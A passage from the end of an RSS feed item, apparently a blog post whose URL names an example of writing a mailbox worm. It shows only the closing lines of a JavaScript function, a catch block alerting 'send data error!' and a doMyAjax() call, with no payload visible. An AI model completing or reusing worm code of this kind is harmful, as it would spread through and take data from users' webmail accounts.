     } catch (e) {
       alert(&quot;send data error!&quot;);
     }
  }
  doMyAjax();
}</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e4%b8%80%e4%b8%aa%e9%82%ae%e7%ae%b1%e8%a0%95%e8%99%ab%e7%bc%96%e5%86%99%e5%ae%9e%e4%be%8b.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
